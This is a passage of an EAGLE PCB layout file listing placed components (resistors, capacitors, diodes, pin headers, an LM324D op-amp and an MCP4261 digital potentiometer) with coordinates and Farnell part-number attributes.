name=\"PARTNO\" value=\"?\" x=\"42.96\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"41.322\" y=\"23.589\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"43.817\" y=\"24.516\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"9330402\" x=\"42.96\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"42.96\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"42.96\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"42.96\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"42.96\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"JP11\" library=\"SparkFun 26-2-11\" package=\"1X02_LOCK_LONGPADS\" value=\"\" x=\"3.2\" y=\"15.42\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"VALUE\" x=\"6.502\" y=\"14.15\" size=\"1.27\" layer=\"27\" font=\"vector\" rot=\"R90\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"3.2\" y=\"15.42\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1550562  standard 2 PIN HEADER\" x=\"3.2\" y=\"15.42\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"3.2\" y=\"15.42\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"3.2\" y=\"15.42\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"3.2\" y=\"15.42\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"3.2\" y=\"15.42\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"C3\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"70.3\" y=\"7.2\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"70.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"69.138\" y=\"6.611\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"71.943\" y=\"5.684\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"70.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"70.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"70.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"70.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"70.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R11\" library=\"resistor\" package=\"R0603\" value=\"100k\" x=\"79.3\" y=\"12.2\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"79.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"81.238\" y=\"11.311\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"82.343\" y=\"10.984\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"9330402\" x=\"79.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"79.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"79.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"79.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"79.3\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"U3\" library=\"1FAB\" package=\"SC70-5L\" value=\"SN74AHC1G32DCKR\" x=\"99\" y=\"22.8\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"99\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1287449\" x=\"99\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"99\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"99\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"99\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"99\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"96.2\" y=\"23.85\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"93.7\" y=\"20.65\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n</element>\n<element name=\"C27\" library=\"resistor\" package=\"C0603\" value=\"10nF\" x=\"53\" y=\"16.01\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"49.211\" y=\"15.672\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"54.784\" y=\"15.667\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"53\" y=\"16.01\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1301715\" x=\"53\" y=\"16.01\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"53\" y=\"16.01\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"53\" y=\"16.01\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"53\" y=\"16.01\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"53\" y=\"16.01\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C28\" library=\"resistor\" package=\"C0603\" value=\"10nF\" x=\"86\" y=\"19\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"85.589\" y=\"18.238\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"89.316\" y=\"18.343\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"86\" y=\"19\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1301715\" x=\"86\" y=\"19\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"86\" y=\"19\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"86\" y=\"19\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"86\" y=\"19\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"86\" y=\"19\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"C25\" library=\"resistor\" package=\"C0603\" value=\"10nF\" x=\"99\" y=\"19\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"98.511\" y=\"17.462\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"98.184\" y=\"16.157\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"99\" y=\"19\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1301715\" x=\"99\" y=\"19\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"99\" y=\"19\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"99\" y=\"19\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"99\" y=\"19\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"99\" y=\"19\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"C5\" library=\"resistor\" package=\"C0603\" value=\"TUNE\" x=\"14.4\" y=\"11.7\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"13.962\" y=\"9.989\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"13.757\" y=\"7.916\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"14.4\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"14.4\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"14.4\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"14.4\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"14.4\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"14.4\" y=\"11.7\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"U2\" library=\"1FAB\" package=\"SOT65P210X110-6N\" value=\"SN74LVC2G17DCKR\" x=\"86\" y=\"22.8\" smashed=\"yes\">\n<attribute name=\"PACKAGE\" value=\"SOT-23-6\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_NEWARK\" value=\"76C4208\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"MPN\" value=\"SN74LVC2G17DCKR\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"SUPPLIER\" value=\"Texas Instruments\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_FARNELL\" value=\"1287569\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1287569\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"86\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"82.5456\" y=\"23.74\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"81.1456\" y=\"20.455\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n</element>\n<element name=\"U4\" library=\"linear\" package=\"SO14\" value=\"LM324D\" x=\"53\" y=\"22.8\" smashed=\"yes\" rot=\"R270\">\n<attribute name=\"NAME\" x=\"48.095\" y=\"27.172\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"50.995\" y=\"17.058\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"53\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"8389233\" x=\"53\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"53\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"53\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"53\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"53\" y=\"22.8\" size=\"1.778\" layer=\"27\" rot=\"R270\" display=\"off\"/>\n</element>\n<element name=\"D2\" library=\"SparkFun 26-2-11\" package=\"SOT23-3\" value=\"MMDB4148\" x=\"15.6\" y=\"15.5\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"15.6\" y=\"15.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2069338\" x=\"15.6\" y=\"15.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"15.6\" y=\"15.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"15.6\" y=\"15.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"\" x=\"15.6\" y=\"15.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"15.6\" y=\"15.5\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"13.5255\" y=\"15.622\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"23.416\" y=\"16.0905\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"D1\" library=\"SparkFun 26-2-11\" package=\"SOT23-3\" value=\"MMDB4148\" x=\"10.5\" y=\"15.3\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"10.5\" y=\"15.3\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"2069338\" x=\"10.5\" y=\"15.3\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"10.5\" y=\"15.3\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"10.5\" y=\"15.3\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"\" x=\"10.5\" y=\"15.3\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"10.5\" y=\"15.3\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"8.6255\" y=\"15.722\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"VALUE\" x=\"12.016\" y=\"17.6905\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n</element>\n<element name=\"C2\" library=\"resistor\" package=\"C0603\" value=\"100nF\" x=\"40.3\" y=\"7.2\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" value=\"currently rs 264-4646\" x=\"40.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"38.662\" y=\"7.989\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"VALUE\" x=\"41.257\" y=\"9.916\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R270\"/>\n<attribute name=\"FARNELL\" value=\"2332586\" x=\"40.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"40.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"40.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"Y\" x=\"40.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"40.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"R12\" library=\"resistor\" package=\"R0603\" value=\"100k\" x=\"49.2\" y=\"12.2\" smashed=\"yes\" rot=\"R90\">\n<attribute name=\"PARTNO\" value=\"?\" x=\"49.2\" y=\"12.2\" size=\"1.778\" layer=\"27\" ratio=\"15\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"50.838\" y=\"11.211\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"VALUE\" x=\"51.943\" y=\"10.884\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R90\"/>\n<attribute name=\"FARNELL\" value=\"9330402\" x=\"49.2\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"49.2\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"49.2\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"49.2\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"49.2\" y=\"12.2\" size=\"1.778\" layer=\"27\" rot=\"R90\" display=\"off\"/>\n</element>\n<element name=\"U1\" library=\"1FAB\" package=\"SOIC127P600X175-14N\" value=\"MCP4261-104E/SL\" x=\"70\" y=\"22.8\" smashed=\"yes\">\n<attribute name=\"PACKAGE\" value=\"SOIC-14\" x=\"70\" y=\"22.8\" size=\"1.4224\" layer=\"27\" font=\"vector\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_NEWARK\" value=\"27M0187\" x=\"70\" y=\"22.8\" size=\"1.4224\" layer=\"27\" font=\"vector\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"MPN\" value=\"MCP4261-104E/SL\" x=\"70\" y=\"22.8\" size=\"1.4224\" layer=\"27\" font=\"vector\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"SUPPLIER\" value=\"Microchip\" x=\"70\" y=\"22.8\" size=\"1.4224\" layer=\"27\" font=\"vector\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"OC_FARNELL\" value=\"1840694\" x=\"70\" y=\"22.8\" size=\"1.4224\" layer=\"27\" font=\"vector\" ratio=\"15\" display=\"off\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"70\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"1840694\" x=\"70\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"70\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"70\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"70\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"70\" y=\"22.8\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"NAME\" x=\"64.982\" y=\"27.2816\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"65.0456\" y=\"16.98\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n</element>\n<element name=\"R3\" library=\"resistor\" package=\"RTRIMT93XA\" value=\"100k\" x=\"64.3\" y=\"7.2\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"63.75\" y=\"13.55\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"63.1\" y=\"12.35\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"64.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"64.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"64.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"64.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"NO\" x=\"64.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"64.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1141380\" x=\"64.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"R4\" library=\"resistor\" package=\"RTRIMT93XA\" value=\"100k\" x=\"57.3\" y=\"7.2\" smashed=\"yes\" rot=\"R180\">\n<attribute name=\"NAME\" x=\"57.05\" y=\"13.55\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"59\" y=\"13.15\" size=\"0.8128\" layer=\"27\" font=\"vector\" ratio=\"15\" rot=\"R180\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"57.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"57.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"57.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"57.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"NO\" x=\"57.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"57.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n<attribute name=\"XFARNELL\" value=\"1141380\" x=\"57.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" rot=\"R180\" display=\"off\"/>\n</element>\n<element name=\"JP5\" library=\"pinhead\" package=\"2X03\" value=\"\" x=\"76.3\" y=\"7.2\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"75.19\" y=\"9.875\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\" rot=\"SR0\"/>\n<attribute name=\"VALUE\" x=\"72.49\" y=\"2.755\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"76.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"76.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"76.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"76.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"76.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"76.3\" y=\"7.2\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"JP4\" library=\"pinhead\" package=\"2X03\" value=\"\" x=\"46.6\" y=\"7.1\" smashed=\"yes\">\n<attribute name=\"NAME\" x=\"45.49\" y=\"9.875\" size=\"0.8128\" layer=\"25\" font=\"vector\" ratio=\"15\"/>\n<attribute name=\"VALUE\" x=\"42.79\" y=\"2.655\" size=\"1.27\" layer=\"27\"/>\n<attribute name=\"PARTNO\" value=\"?\" x=\"46.6\" y=\"7.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL\" value=\"DNF\" x=\"46.6\" y=\"7.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE\" value=\"?\" x=\"46.6\" y=\"7.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"FARNELL_PRICE_QUANTITY\" value=\"?\" x=\"46.6\" y=\"7.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"AMR_RECHECK_PART\" value=\"?\" x=\"46.6\" y=\"7.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n<attribute name=\"TOLERANCE\" value=\"?\" x=\"46.6\" y=\"7.1\" size=\"1.778\" layer=\"27\" display=\"off\"/>\n</element>\n<element name=\"TEP\" library=\"testpad\" package=\"P1-13\" 